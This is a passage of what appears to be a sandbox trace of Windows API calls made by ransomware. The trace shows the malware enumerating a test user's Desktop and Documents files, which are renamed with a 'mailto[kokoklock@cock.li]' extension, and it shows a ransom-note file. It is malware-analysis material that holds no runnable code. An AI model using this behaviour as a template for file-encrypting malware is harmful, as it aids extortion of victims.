_Dest="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv.mailto[kokoklock@cock.li].d0e731" [0168.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fd0140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0168.939] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac677c90, ftCreationTime.dwHighDateTime=0x1d4ca98, ftLastAccessTime.dwLowDateTime=0xaaf30990, ftLastAccessTime.dwHighDateTime=0x1d4d49f, ftLastWriteTime.dwLowDateTime=0x839f27f5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5d3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="uX5P.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UX5PPN~1.D0E")) returned 1 [0168.939] wcscmp (_String1="uX5P.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.939] wcscmp (_String1="uX5P.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x84) returned 0x2f827d8 [0168.940] wcscpy (in: _Dest=0x2f827d8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.940] wcscat (in: _Dest=0x2f827d8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.940] wcscat (in: _Dest=0x2f827d8, _Source="uX5P.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\uX5P.png.mailto[kokoklock@cock.li].d0e731" [0168.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f827d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0168.940] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20914230, ftCreationTime.dwHighDateTime=0x1d4d544, ftLastAccessTime.dwLowDateTime=0x6e904930, ftLastAccessTime.dwHighDateTime=0x1d4ccdf, ftLastWriteTime.dwLowDateTime=0x83a18aff, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x131b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WGTQK0~1.D0E")) returned 1 [0168.940] wcscmp (_String1="WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.940] wcscmp (_String1="WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x2fe3f40 [0168.940] wcscpy (in: _Dest=0x2fe3f40, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.941] wcscat (in: _Dest=0x2fe3f40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.941] wcscat (in: _Dest=0x2fe3f40, _Source="WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a.mailto[kokoklock@cock.li].d0e731" [0168.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0168.941] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76364b40, ftCreationTime.dwHighDateTime=0x1d4d0fd, ftLastAccessTime.dwLowDateTime=0x9ff211b0, ftLastAccessTime.dwHighDateTime=0x1d4d36b, ftLastWriteTime.dwLowDateTime=0x83a3ed6d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xbc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="x1HTUM.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="X1HTUM~1.D0E")) returned 1 [0168.941] wcscmp (_String1="x1HTUM.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.941] wcscmp (_String1="x1HTUM.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.941] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x88) returned 0x2f828f8 [0168.941] wcscpy (in: _Dest=0x2f828f8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.941] wcscat (in: _Dest=0x2f828f8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.941] wcscat (in: _Dest=0x2f828f8, _Source="x1HTUM.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav.mailto[kokoklock@cock.li].d0e731" [0168.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f828f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760 [0168.942] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07081a0, ftCreationTime.dwHighDateTime=0x1d4c8c4, ftLastAccessTime.dwLowDateTime=0x43fc28a0, ftLastAccessTime.dwHighDateTime=0x1d4d05a, ftLastWriteTime.dwLowDateTime=0x83a90507, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf351, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="YZ9R_T~1.D0E")) returned 1 [0168.942] wcscmp (_String1="Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.942] wcscmp (_String1="Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.942] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee390 [0168.942] wcscpy (in: _Dest=0x2fee390, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.942] wcscat (in: _Dest=0x2fee390, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.943] wcscat (in: _Dest=0x2fee390, _Source="Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi.mailto[kokoklock@cock.li].d0e731" [0168.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764 [0168.943] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d7c240, ftCreationTime.dwHighDateTime=0x1d4cc1b, ftLastAccessTime.dwLowDateTime=0xa6270890, ftLastAccessTime.dwHighDateTime=0x1d4c828, ftLastWriteTime.dwLowDateTime=0x83ab1412, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x124dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ZO7BER~1.D0E")) returned 1 [0168.943] wcscmp (_String1="zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.943] wcscmp (_String1="zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.943] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2fcfbe8 [0168.943] wcscpy (in: _Dest=0x2fcfbe8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.943] wcscat (in: _Dest=0x2fcfbe8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.943] wcscat (in: _Dest=0x2fcfbe8, _Source="zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731" [0168.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcfbe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0168.944] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc42c1e0, ftCreationTime.dwHighDateTime=0x1d4cf99, ftLastAccessTime.dwLowDateTime=0x6045b010, ftLastAccessTime.dwHighDateTime=0x1d4d3b8, ftLastWriteTime.dwLowDateTime=0x83ad76f3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ZYKMTO~1.D0E")) returned 1 [0168.944] wcscmp (_String1="ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.944] wcscmp (_String1="ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.944] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2fedc58 [0168.944] wcscpy (in: _Dest=0x2fedc58, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.944] wcscat (in: _Dest=0x2fedc58, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.944] wcscat (in: _Dest=0x2fedc58, _Source="ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731" [0168.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedc58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c [0168.945] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb24eb80, ftCreationTime.dwHighDateTime=0x1d4c5aa, ftLastAccessTime.dwLowDateTime=0x9ecdc540, ftLastAccessTime.dwHighDateTime=0x1d4ca10, ftLastWriteTime.dwLowDateTime=0x845b8157, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x966b, dwReserved0=0x0, dwReserved1=0x0, cFileName="_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="_IMXNK~1.D0E")) returned 1 [0168.945] wcscmp (_String1="_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.945] wcscmp (_String1="_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fcfee0 [0168.945] wcscpy (in: _Dest=0x2fcfee0, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0168.945] wcscat (in: _Dest=0x2fcfee0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0168.945] wcscat (in: _Dest=0x2fcfee0, _Source="_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731" [0168.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcfee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770 [0168.946] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe1c40 | out: lpFindFileData=0x2fe1c40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb24eb80, ftCreationTime.dwHighDateTime=0x1d4c5aa, ftLastAccessTime.dwLowDateTime=0x9ecdc540, ftLastAccessTime.dwHighDateTime=0x1d4ca10, ftLastWriteTime.dwLowDateTime=0x845b8157, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x966b, dwReserved0=0x0, dwReserved1=0x0, cFileName="_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="_IMXNK~1.D0E")) returned 0 [0168.946] FindClose (in: hFindFile=0x2f7fba0 | out: hFindFile=0x2f7fba0) returned 1 [0168.946] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1c40) returned 1 [0168.946] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f805e0) returned 1 [0168.946] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30136a8) returned 1 [0168.946] RtlExitUserThread (Status=0x0) Thread: id = 1709 os_tid = 0xd1c [0168.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2f7fae0 [0168.588] wcscpy (in: _Dest=0x2f7fae0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.588] wcscat (in: _Dest=0x2f7fae0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.588] wcscat (in: _Dest=0x2f7fae0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\*") returned="C:\\Users\\FD1HVy\\Documents\\*" [0168.588] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1ea8 [0168.588] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*", lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x83422c5e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83422c5e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fbe0 [0168.588] wcscmp (_String1=".", _String2=".") returned 0 [0168.588] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x83422c5e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83422c5e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.589] wcscmp (_String1="..", _String2=".") returned 1 [0168.589] wcscmp (_String1="..", _String2="..") returned 0 [0168.589] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6ccfd90, ftCreationTime.dwHighDateTime=0x1d4df14, ftLastAccessTime.dwLowDateTime=0xb882fce0, ftLastAccessTime.dwHighDateTime=0x1d54093, ftLastWriteTime.dwLowDateTime=0x82f843ad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2696, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="3QRM1-~1.D0E")) returned 1 [0168.589] wcscmp (_String1="3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.589] wcscmp (_String1="3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.590] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6e4a0 [0168.590] wcscpy (in: _Dest=0x2f6e4a0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.590] wcscat (in: _Dest=0x2f6e4a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.590] wcscat (in: _Dest=0x2f6e4a0, _Source="3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx.mailto[kokoklock@cock.li].d0e731" [0168.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0168.881] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8946fea0, ftCreationTime.dwHighDateTime=0x1d56027, ftLastAccessTime.dwLowDateTime=0x51202b0, ftLastAccessTime.dwHighDateTime=0x1d504f6, ftLastWriteTime.dwLowDateTime=0x82fd0788, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6e84, dwReserved0=0x0, dwReserved1=0x0, cFileName="90PGS.xlsx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="90PGSX~1.D0E")) returned 1 [0168.881] wcscmp (_String1="90PGS.xlsx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.881] wcscmp (_String1="90PGS.xlsx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.881] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2fe5300 [0168.881] wcscpy (in: _Dest=0x2fe5300, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.881] wcscat (in: _Dest=0x2fe5300, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.881] wcscat (in: _Dest=0x2fe5300, _Source="90PGS.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx.mailto[kokoklock@cock.li].d0e731" [0168.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe5300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0168.882] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x208c6730, ftCreationTime.dwHighDateTime=0x1d542d4, ftLastAccessTime.dwLowDateTime=0x46822690, ftLastAccessTime.dwHighDateTime=0x1d544e2, ftLastWriteTime.dwLowDateTime=0x8301ccbc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="9NMDOC~1.D0E")) returned 1 [0168.882] wcscmp (_String1="9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.882] wcscmp (_String1="9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.882] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2feec18 [0168.882] wcscpy (in: _Dest=0x2feec18, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.882] wcscat (in: _Dest=0x2feec18, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.882] wcscat (in: _Dest=0x2feec18, _Source="9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx.mailto[kokoklock@cock.li].d0e731" [0168.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2feec18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0168.883] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x592c6460, ftCreationTime.dwHighDateTime=0x1d522ee, ftLastAccessTime.dwLowDateTime=0xe3ac8720, ftLastAccessTime.dwHighDateTime=0x1d5391c, ftLastWriteTime.dwLowDateTime=0x8304310b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xccc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CRZ2QJ~1.D0E")) returned 1 [0168.883] wcscmp (_String1="Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.883] wcscmp (_String1="Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.883] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2feea20 [0168.883] wcscpy (in: _Dest=0x2feea20, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.883] wcscat (in: _Dest=0x2feea20, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.883] wcscat (in: _Dest=0x2feea20, _Source="Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731" [0168.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2feea20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0168.884] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f843ad, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82f843ad, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82f843ad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.884] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.884] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.884] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8314e0c5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x55100, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database1.accdb.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DATABA~1.D0E")) returned 1 [0168.884] wcscmp (_String1="Database1.accdb.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.884] wcscmp (_String1="Database1.accdb.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.884] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fe34a0 [0168.884] wcscpy (in: _Dest=0x2fe34a0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0168.884] wcscat (in: _Dest=0x2fe34a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0168.884] wcscat (in: _Dest=0x2fe34a0, _Source="Database1.accdb.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731" [0168.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe34a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0168.885] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2fe1ea8 | out: lpFindFileData=0x2fe1ea8*(dwFileAttributes=0x26, 